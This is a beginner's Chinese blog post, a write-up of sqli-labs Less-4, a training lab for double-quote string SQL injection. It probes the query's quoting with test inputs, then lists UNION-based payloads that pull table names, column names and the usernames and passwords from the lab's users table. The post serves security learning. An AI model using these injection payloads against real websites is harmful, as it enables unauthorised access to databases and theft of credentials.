zoukankan      html  css  js  c++  java
  • 小白注入学习:sqli-labs--less4学习记录

    Less4 双引号字符型注入

    1.判断注入点、注入类型
    (1)?id=1' 页面返回正常
    (2)?id=1 and 1=2--+ 页面返回正常
    (3)当输入双引号 " 时数据库报错,根据报错内容可知,这里对id应该是对id加了双引号并且,放在一对括号中。

    数据库报错内容

    ?id=1")页面报错
    ?id=1") and 1=1 --+ 页面正常响应
    ?id=1") and 1=2 --+ 页面响应错误
    2.使用union联合查询即可

    附上payload
    ?id=-1") order by 3--+ ?id=-1") union select 1,2,database()--+ ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ ?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+ ?id=-1") union select 1,2,group_concat(username,0x3a,password) from users--+

    PS:小白总结

    (1) 当一直没有报错信息尝试输入其他的特殊符号 如 &") 看能否使数据库报错,从报错内容中获取相关信息。

      如果一直不报错考虑其他类型的注入。

    小白注入学记录!!

  • 相关阅读:
    22:django 配置详解
    21:序列化django对象
    20:django中的安全问题
    19:django 分页
    HTML 标签(一)
    流程图学习绘制
    HTTP原理
    终端的颜色代码
    Python 进程 线程总结
    Python Select模型
  • 原文地址:https://www.cnblogs.com/ersuani/p/12585424.html
Copyright © 2011-2022 走看看